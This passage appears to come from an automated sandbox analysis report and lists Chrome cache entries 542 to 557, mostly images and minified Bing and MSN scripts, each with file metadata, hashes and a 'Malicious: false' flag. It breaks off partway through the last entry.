Preview:	.PNG........IHDR................a....pHYs..........+......IDATx....+EQ....).B....5P......<f.2....H...H)F..."..P.1Pny.5...}...j.........Z..........A..,..or...i.h}.e........b-X....K.;....s..Vz"...EB~......au..=......By).L..t.....@..8......VBk3.t..R.i..k.].......8,......@^N@..."...... ....i.....?.\..VI...(.j8=....G..Q._..)hi..T.a.IO.{D..0..C...pa.+xQ[U.$..x.......08..e.3..lw..Z..........#...)..:. ..+F.fN@.{.}}.9?.&f......4.fN.N....5.~.C.$.....$a6gE......IEND.B`.................................

Chrome Cache Entry: 542

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (328), with no line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.873055432724158
Encrypted:	false
SSDEEP:	6:qLYyKBrT1rDvMhkXkJGf9FM/fwT0EqeGXGQW4RiXUqkvJOyEFnVQE4MDUKOKHsM:yWFBb3yG3cJO1Vi5rgsM
MD5:	CDDDAB121EB434876615391AD4107B9A
SHA1:	8038444C80B8E76DDF8AE5C00AB5784207E5AEFF
SHA-256:	243D212A9FF764CCDA9B19C3C823B2F408A0718E56A3E7A8B5B533E108DB56CB
SHA-512:	1964D190BF10B9D686626097188B6D0B2A02C0039993D97A135355D8A44399DED3D42465D1EDC7B55287AA9380835373FD921C00CF92CE234CCE92B0C2453084
Malicious:	false
Reputation:	unknown
Preview:	var BingAtWork;(function(n){var t;(function(n){function t(t){t.isAuthenticated&&n.raiseAuthEventAndLog(t)}function i(n){n&&n.length==2&&t(n[1])}n.bindToConditionalSignIn=function(){sj_evt.bind("ssofirstquery",function(n){return i(n)},!0,null,!1)}})(t=n.ConditionalSignIn\|\|(n.ConditionalSignIn={}))})(BingAtWork\|\|(BingAtWork={}))

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	6045
Entropy (8bit):	7.92160570015199
Encrypted:	false
SSDEEP:	96:8zgEpu9DiamTn5V+eddM6ynOL2bViNDvs0HnIfZR+:ygEu9D0TneeddM6yOL2oNI0HnIn+
MD5:	E8ED8A28378E8F0AF02EA8C7D6F981BE
SHA1:	44BBE8FA4B341E9B4AA5DAE194303060907DCA81
SHA-256:	D5B76CE92AC8817725830F102B36D07FCAF6A723CCA55729A773644B5428EF85
SHA-512:	41D7F07CBED84344FE7A6AE6835A84F3A6671A07C0326D10640537C1647098DB7102C6E07FAE53D91204953B39F1752F07592844ACD0CAD3DB02E2E09CE80ABA
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_BI8x7MQaki0sFZsB0weO3g&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..O....\.4.T.....7......O....w......wp.8.Y....Ab.........-.V...t...kw.,..4.......A:....0TV;.6p:..._We.dh8.E3...#.dn.#.+{.~8.....[.)e..........&...7Ok<s.........h.Y?./...a.8.q....J...Aj..Vz..m+...'...*YH.....}sO\|..D..W.+.i.>n~..#w.pT.R.:....{..>..?{d...<...Nndc..\|......T_.I..(A..S .Dc_2)`.GB85.6...i.ay.^\.#nX&..T....J.X6...(......{..&@.y5.os...D...G..%..

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	34378
Entropy (8bit):	7.970622899567605
Encrypted:	false
SSDEEP:	768:eJMSO+lnaEO5gOiosLEpzqDqag2i0dgXsySUV:eI+aEyMo5uDJuigXiUV
MD5:	69E7CA22E5B7A8B2B0FEC6F355ABBD3E
SHA1:	2D1E2856988456EEAAA78A66E77CEADA986F832D
SHA-256:	5F1338BCE7F311271704B361430589304FC71BB366122221959E888A6F6ED3FF
SHA-512:	EF68C3B13998AFE8B7852A5F29E52B83350102AB2790747266767797CC5567A2CE99B09F32D08AE10E8C4C7571214B9B43816AD8CAA6FF0B9655F9562B6518BE
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?../N.5?.~9....@..Y].!.\4...j.G....x,.r{.\|Z.g....\....W..[2.oqr...A.....a.),@.....x5>..:W..i.]z?.Xy..T..ha..H`.B..m.2.7.8...-..~7h..iy...hp]..{.8..y.3.a.......A......M.-.........a.....G.4......E..Xm...g........$.?w..RA.....\..lf.....T..}"-...\|.w...C.o.*F..`..AR2...\|..>#k...j.>..':d.<2.......X......cs.(.....4?..h.Lz..i%.,-......C,.M.....x.m....y.`..O.o.....:s6.

Chrome Cache Entry: 545

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37078), with no line terminators
Category:	dropped
Size (bytes):	37078
Entropy (8bit):	5.525741908495419
Encrypted:	false
SSDEEP:	768:6jiIrpgi31lUc4jzmU6Yfl75Ql+HCmEOO8gBNppA23/H8tQJ1CN9MQWt3/piVX5V:6PF31SUCp5u+0vctMxbMVX52w
MD5:	3296F64A7A2BF91E144553E17654643B
SHA1:	639B0F05038C69CFC21AD55CE92B92C71B9BB8BA
SHA-256:	4DE9E2C37234DA98C8BE5F282084E5603918A287602DF7F75AF3F1BCF825781F
SHA-512:	45DB48942642ADC0E9D50C5CFDCC2CB44F8E2245F2248F5FBE7CD38C405D35A0F678446D31845A35136333C1B9D16112799D08BFCAC28CAA7D60039C04BC5EC6
Malicious:	false
Reputation:	unknown
Preview:	!function(){const noop=()=>{},optionsScript=document.querySelector("script[type=esms-options]"),esmsInitOptions=optionsScript?JSON.parse(optionsScript.innerHTML):{};Object.assign(esmsInitOptions,self.esmsInitOptions\|\|{});let shimMode=!!esmsInitOptions.shimMode;const importHook=globalHook(shimMode&&esmsInitOptions.onimport),resolveHook=globalHook(shimMode&&esmsInitOptions.resolve);let fetchHook=esmsInitOptions.fetch?globalHook(esmsInitOptions.fetch):fetch;const metaHook=esmsInitOptions.meta?globalHook(shimModule&&esmsInitOptions.meta):noop,skip=esmsInitOptions.skip?new RegExp(esmsInitOptions.skip):null;let nonce=esmsInitOptions.nonce;const mapOverrides=esmsInitOptions.mapOverrides;if(!nonce){const nonceElement=document.querySelector("script[nonce]");nonceElement&&(nonce=nonceElement.nonce\|\|nonceElement.getAttribute("nonce"))}const onerror=globalHook(esmsInitOptions.onerror\|\|noop),onpolyfill=esmsInitOptions.onpolyfill?globalHook(esmsInitOptions.onpolyfill):()=>console.info("OK: ^ TypeErr

Chrome Cache Entry: 546

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

Chrome Cache Entry: 547

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2996), with no line terminators
Category:	dropped
Size (bytes):	2996
Entropy (8bit):	5.366105471104399
Encrypted:	false
SSDEEP:	48:J48ZVpZepsJrkTScZV7pw2B7waeaTo8Xvet0cnYBLm7QA03RzsGXFLChF8YiS5xJ:JQcrkTDZV7e2maeaTowrBLm0A03RQqst
MD5:	A4A2895E7FBFE6377307B4C2AAB9E525
SHA1:	399FCAD73E013BAB2867567B731B0E0EAA278A49
SHA-256:	2F754393D443981912BDD0E557B8CF9724B956E552C50BFD75044848AC347AA5
SHA-512:	0FBC750A57C1A05577017FFA77FE03881FC12D7DB641F14BCDAA3EFF4FD38880D3147B6BC666E27A63A1FE3D37679CD0DE060C05B8E8E76DD36FC23296FF45B3
Malicious:	false
Reputation:	unknown
Preview:	var Bnp=Bnp\|\|{};Bnp.Global=Bnp.Global\|\|{};Bnp.Version="1";Bnp.Partner=Bnp.Partner\|\|function(){function i(){return typeof DefaultTrustedTypesPolicy!="undefined"}function s(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueHTML?DefaultTrustedTypesPolicy.getOpaqueHTML(n):n}function h(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScript?DefaultTrustedTypesPolicy.getOpaqueScript(n):n}function c(n){return i()&&DefaultTrustedTypesPolicy.getOpaqueScriptURL?DefaultTrustedTypesPolicy.getOpaqueScriptURL(n):n}function f(n){sj_evt.fire("onBnpRender",n)}function r(n){var i=i\|\|{};if(typeof i.stringify=="function")return i.stringify(n);var o=typeof n,u=n&&n.constructor==Array,f=[],e,t;if(o!="object"\|\|n==null)return o=="string"?'"'+n+'"':String(n);for(e in n)t=n[e],t&&t.constructor!=Function&&(u?f.push(r(t)):f.push('"'+e+'":'+r(t)));return(u?"[":"{")+String(f)+(u?"]":"}")}function l(n){for(var r=[],u=n.getElementsByTagName("script"),t,i;u.length;)t=u[0],i=sj_ce("script"),t.src?i.src=c(t.src):t.text

Chrome Cache Entry: 548

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	downloaded
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/KjCBfzuZ475zX0-Fu2bdXt9qifQ.js
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

Chrome Cache Entry: 549

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	21350
Entropy (8bit):	7.95053785627855
Encrypted:	false
SSDEEP:	384:e+LCi3OrS1wC+IZVoq67XbIwJ1H2oSSBHYUPpCFpr9hkS:e+FmSmIZV967LIwJN9YUBC7rrkS
MD5:	C9FECC8E242B51A01A5B3019C67D7F50
SHA1:	0F78FD5BEE7F42C1B6478655C18CDBB4C541498D
SHA-256:	1C4688FFEB017B42771905AF8591B59F80D1DD03706A24200BD098D460B3D55D
SHA-512:	B0C4EEE33E02AD6CD4924BFAEBFB0C8E2CD6DF1FF0D65A87FBDAD22511DD9E2D8191131DF8B26B1D39D02F17FC4A1C2E920D2BBD371D2F9FF2D8A451E05416CB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....U.x.1.5r;.0........Z..S!@..(.R..y.1r..:.1..jw...XV...R+F.C.5.....[X'.`.L.......vO.[S...I..o<.j.q.]...o3ZI..E]..`{y1YW.8RA.o.]..McX...cc.=iF^.3...Y.>........tG.$e..j.....o..]..=.....r:.9...........J...s.<E..T..;...C.....k....._E.j0[2..A>.J.K;../.^\|x..IZMH..4;.....i..r\[0Y....k..........L......4...y-.s....ZY......;....iq.^#.8......\|..:..R...L..&..P

Chrome Cache Entry: 550

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:38:22], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	5387
Entropy (8bit):	7.799957991588148
Encrypted:	false
SSDEEP:	96:sQ+bfdSpU7SG7bVFwZ1w2f7yXMAZpqdiCRf6LtoIJ7g0WRiKQS+FhIeEIboU3cq:sRdSpU7vbVFwZ11jIIO6M7JqoIZuz3cq
MD5:	69D162774F894FF8B920330E376B7A62
SHA1:	F79CF9C0CCB851C7DB4924A54B0EFCD2F4398CA0
SHA-256:	C9FAA34663FE19EB4D8C007BF00AD7C4BC993F70C9FC42A04801ECCDD59008F7
SHA-512:	9D0E7FA4AC408D9D7D86186E05258BDB615B04AE8EC0DF813C3307A646EC4F87AABA1FCD77914AEA1FFE3607B87BBCA2DCC5D18C076D8AECDEA1496910AEC87D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/95z5wMy4UcfbSSSlSw780vQ5jKA.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:38:22....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.......................................................................................S&....1...\.g).l.....^S......^,I..c.7,..YX(."..>wiT.y.:^8........R.-)s..>.+@..c..V.[Af...T.........3........B.\|.~...A..\|..r.......(qC..m~..nb...r.LIU.i3.K..........y.]5..\W;b.:/F...v.OW.R^...y^}4._...I4.t....l......,.$.C.....6..IS..E...../..J...5...%....Z.eK.u....j.........*x.{..t.!....@,...}..W...X8.S.........X.Z...-.w..(.8...z..EC..\....8.m5...z....Y.!\...!@.<:b].-.i}.....?..%...=gE.VM..\.2CJ..kK.d...o.!..v...M.e..4,...l...Y0...V.[.g..r.....h.....[-..-.....J....9kA..L...#.!"."kO.;...R.2...)Mr...X8....G.;A..".!az..Ud.Ie......+..........................!34 "12..$0ABCD........

Chrome Cache Entry: 551

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	24844
Entropy (8bit):	7.95983378893552
Encrypted:	false
SSDEEP:	768:ezU9UfVSjr0RMalTqooR5iDVii3fl384H6map:ezWCVYrqM4f9Doi3fRamap
MD5:	B611E0629D27C7FEE5477AA42419E19B
SHA1:	98A50143A790C91087E1D065A03CF0400A4BDC63
SHA-256:	14AA3A01B5E538CE2E8858EB69D75B4C2ACA4DE43A3D388988D37C648E89BBDC
SHA-512:	7BDCA5338DE047F4A2C9AC7B8A9DAEACABAFE2F5BDFF9D8284E083846DE2E1A3A3EDF1497D7DE06F240742CCA50C7958B5B53FFB6707B2FE620B519E3FA3E363
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....ph_zV.P].--GN.w.c.%..\|..rEjh:d.Ff..^zU]v....A..\..^.i....;u...~.....e.T.FC.lV..F..nk..F...b;.Ab..^..]K..,...z.2.i,l..I....+..V...'r.....!.X....f.m..c.8*.....i1...p3..\|....27\.Q.?T..K.cngA......6.kT.O.i.-............."..S..F.".....Eg.).(..f......S4..'.tz..2c.k..5;Y.h.@[.hEE.NM.+.b......t?.u. .8..4.>..sz.1.X.........1.Q..w...4+.5...N.l.+..O.......

Chrome Cache Entry: 552

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3791
Entropy (8bit):	7.08266375441937
Encrypted:	false
SSDEEP:	96:6lg111b8TUEfN/R5Cx2ftlv8Zkj81vPZsYf:0g11u5FR5CUtlkZPRKY
MD5:	299A479A2F7F1F30D09545CA8CC5D162
SHA1:	871F9E79AD73AAD0B3E0AD1B5B6B87FE837B16CE
SHA-256:	B314EAD01E8E89C964273418BB1117D24DFE01E4838E7A1B46FA19F64699AF05
SHA-512:	9D8DA9F1247D5D097E8AAAB4346AADE12E2BC74D6F9446760A5A3A45D9C2D48782D456CE05AC6FD2F0572CD26A562F2D0E4C55048FDAEC138F398A715743437D
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II*...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.......................ICC_PROFILE.......lcms.0..mntrRGB XYZ .........7.,acspMSFT...................................-lcms................................................desc... ...@cprt...`...6wtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...4...$dmnd...X...$dmdd...\|...$mluc............enUS...$.....G.I.M.P. .b.u.i.l.t.-.i.n. .s.R.G.Bmluc............enUS.........P.u.b.l.i.c. .D.o.m.a.i.n..XYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T\|..L.......&g...\mluc............enUS.........G.I.M.Pmluc............enUS.........s.R.G.B...C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Chrome Cache Entry: 553

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	3002
Entropy (8bit):	7.833536357178525
Encrypted:	false
SSDEEP:	48:8/bxnuERAoybSsGTlkwxY+5fdOZayAC2ut6iUqL0fhk6nWBPo+bYsIgOc:8zgEDsSuwxTfdWAMMiPLL64H/Oc
MD5:	635B99CC3D81F6D2D059569E207B1438
SHA1:	C20B4152161B19224E75D4A546E1A0CB7748C571
SHA-256:	51D75FC490C239AD636FACB98A1A9E931BA3F41E3027A9A31E8856F924CA3C4A
SHA-512:	D9945634584B0294103B8D6FE63582E13FCEC6BA047FFE5DC01342A05197D86DED428BAE15888CFCBC20315B901699D00F8455F4325F1D47B0FB794A7E3A61E6
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_9wvKDJWFxF3t1xqyh7CKuA&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..@.....=R.X.~\.~..(.aR.?.T.."...J...9"...........M1.y..........W5. .J.H.$.:cGVJS...".EQ4\|U.Z...R.U..V.2.l..b. ".EL..0.U.M...Q.Zy...V.-.d..i......J{.Jf1V.h....nd....Y.;^%o.O..8..Yr.........^1{..L.reQ........okn.[....@$..NkW....../..9..sZi[.....Q.i..H.....4.;T.5f8)aOj....\|..EJ..a. ..G..5j;.]7.2:..yP...7;n...t.2.>..V.AU...F..Q.s9..Wx.Z,..].#.tFGL&.....Zu.P.....2+..

Chrome Cache Entry: 554

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	885
Entropy (8bit):	4.5570985620533735
Encrypted:	false
SSDEEP:	12:ty6MIrYQ2f6pmdyG5CRaWqFQZtKSlt85upWEtKMca/Kv3kK3kK3TfQARQ:ttMIYQpmgG5C4zFQZcSXWEcoqRQ
MD5:	3EE38F567EE1E65F61C47CCA63D4EF8B
SHA1:	28A9AFEE39ACEB67BF89CF30CA9831E54286200F
SHA-256:	21227BFE773210614F70787C9BD2C6AC5A301791205A69E67E3AA65162D94929
SHA-512:	52E593E07BE82ADFA9599EB4DFBFFA322CEC58CDA4A17BCA0BCA1A6A4E6ECB2A459B41B1B1103D022376F51FACA819BA442B55B8BF6286CF6152FA3CB9F62FA6
Malicious:	false
Reputation:	unknown
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.895 2 2 2h47c1.105 0 2-.895 2-2s-.895-2-2-2z" fill="#ddd"/></svg>

Chrome Cache Entry: 555

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	dropped
Size (bytes):	4427
Entropy (8bit):	7.901507439306134
Encrypted:	false
SSDEEP:	96:8zgEjUeLMQJWy9jI9yCSNJCwTonVpKvAZL5nV0OxNv1vqOHnX3NldpoX/U:ygGUAMQJWCjmyfMp2AZr0OxNIOHHDWs
MD5:	21ED0B5BC830C52C09FD4886FC61A39F
SHA1:	B009FE7BEDA5DDA14347CFB59D0AB9761D2ED5A2
SHA-256:	676B94ACE0ED2F1931EA66D82F8CD8826476DCA0177DA042B80DC1655213FFDA
SHA-512:	7C220A9BDEBD90926B62121FAC2D3BC36F68757A0666EF1BF9D8F4A0084C85AB6651E6B4294C957030F592A5307512ED66A02FBCB857685FCD143D30A4EB05C9
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(..E.R...)r(...(..U..P.bp..h...Z...I.0Tf.....S)Y\.E.J+.........Y.~......W...0<........Sn...Y^".c...u%..i....N[...F....l...q......ko.V.m...."..pH...J..w'us.y[C....4.....L.W.x...Zh..&.....Ri..!i(...(...(...(.I..?..@.QGJ(.....}...u_V.f......M....*[{yn..........&.t..WA..V......O8s....?.A.k..x#.#<..E.....&......5.Mb..J....h..6.ply..E.T..?/...n8.j.{O..7e..

Chrome Cache Entry: 556

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x304, components 3
Category:	downloaded
Size (bytes):	1786
Entropy (8bit):	7.285156263189152
Encrypted:	false
SSDEEP:	24:fiLEltccCet6dvBdT1QjjICm7XdHqgqWmeBqRsmuKGXp+T1pxcJlTbdP6:3Hgd5GjICYhmwqemuKG21/uTbdi
MD5:	72AC53C918F35A73809317EC46E28594
SHA1:	160C2B05107CD63E081995D13F96A4C31727244C
SHA-256:	5ED68039383EB61A753F134004392C513C7BD20BC1C2328D571BD3DB650C1BE4
SHA-512:	988F81B7A4A11F9FFEB6F4C269A607DAFFDDB7D6B126B5811EBAB69BFCBC7F7333D43F76EE1B7A6FEDCE64CCB1FF014B3870D52B75B69ACB49C2A832BA4D9BD8
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/background/v2.0/jpg/sunny.jpg
Preview:	......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............0.,.."..........h.................................................!..1A..............................................!1............?..O___.N.}{......m@<~....V...C....@.P.4S.(.."..Q..T%lE5b>.j.&..0^.I.....@C....P..$T.DS.r....#...?+../n..w%sH.f...........0RP.....E5..E#..h....&..H..H....0......2..DQ.....A..."...DQ".%FT.\......;....X..* ".V......&.4.(.Q.Qi.eL...&4.T..k.......q..R..d8...N+."..r\s.dvO8.?0...9.D``.B.)...5$.3%...@qq+..P.6T.%P..DF..3%DUE&).JJ.\\g..W.^\|3...u.#.X..?.......zyW.....!....~ZhS.L..F...&...."...2.E8.4.q.q.Y..T\D\....U!H.4.3R+H.........7...i:b.i...E.y.W......Yu..jq...HS.8.dq...`.F,5...D.#HhP...j..8...EZ.f.A.^..r.U....+C.z.^.Y......yW...4...g.b..1......[Jz.OY..7k.F.EQ..R..Q.".T.....R.4(U.Vj.U..g...T......V2.T..NVzz..U...............&.ZN..f.....g.....OX..5..:.@.....f.

Chrome Cache Entry: 557

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	567790
Entropy (8bit):	5.203401736061893
Encrypted:	false
SSDEEP:	6144:ol04MfNzqRUFExBZPmSy+ixHPDNJMMUnzONCRBEpORcwN0m19tNTnCOD07IzdbV9:20nmTUdydGGll
MD5:	F22AEF5E40B4FC45D422D6326D4E82CF
SHA1:	4FA95CB3A8AA07BAE7DFA1485F26CBC1BA8FC042
SHA-256:	597A5A961AFF54E9E5AD009C670674A5DC11C9F829764B32B925066B5AB9DC8B
